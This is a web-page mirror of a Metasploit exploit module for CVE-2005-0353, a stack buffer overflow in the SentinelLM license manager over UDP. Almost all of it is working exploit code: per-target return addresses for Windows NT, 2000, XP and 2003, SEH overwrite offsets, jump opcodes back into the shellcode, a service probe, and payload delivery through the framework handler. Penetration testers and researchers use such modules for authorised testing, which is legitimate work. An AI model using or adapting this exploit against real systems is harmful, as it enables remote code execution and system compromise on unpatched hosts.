CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/license/sentinel_lm7_udp.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'SentinelLM UDP Buffer Overflow',
14
'Description' => %q{
15
This module exploits a simple stack buffer overflow in the Sentinel
16
License Manager. The SentinelLM service is installed with a
17
wide selection of products and seems particular popular with
18
academic products. If the wrong target value is selected,
19
the service will crash and not restart.
20
},
21
'Author' => [ 'hdm' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
[ 'CVE', '2005-0353'],
26
[ 'OSVDB', '14605'],
27
[ 'BID', '12742'],
28
],
29
'Privileged' => true,
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'process',
33
},
34
'Payload' =>
35
{
36
'Space' => 800,
37
'BadChars' => "\x00\x20",
38
'StackAdjustment' => -3500,
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
44
['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
45
['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll
46
['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
47
['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
48
],
49
'DisclosureDate' => '2005-03-07' ))
50
51
register_options(
52
[
53
Opt::RPORT(5093)
54
])
55
end
56
57
def check
58
connect_udp
59
udp_sock.put("\x7a\x00\x00\x00\x00\x00")
60
res = udp_sock.recvfrom(8192)
61
disconnect_udp
62
63
if (res and res[0] == 0x7a)
64
return Exploit::CheckCode::Detected
65
end
66
return Exploit::CheckCode::Safe
67
end
68
69
def exploit
70
connect_udp
71
72
# Payload goes first
73
buf = payload.encoded + rand_text_english(2048-payload.encoded.length)
74
75
# Return to a pop/pop/ret via SEH
76
buf[836, 4] = [target.ret].pack('V')
77
78
# The pop/pop/ret takes us here, jump back 5 bytes
79
buf[832, 2] = "\xeb\xf9"
80
81
# Now jump all the way back to our shellcode
82
buf[827, 5] = "\xe9" + [-829].pack('V')
83
84
udp_sock.put(buf)
85
udp_sock.recvfrom(8192)
86
87
handler
88
disconnect_udp
89
end
90
91
92
end
93
94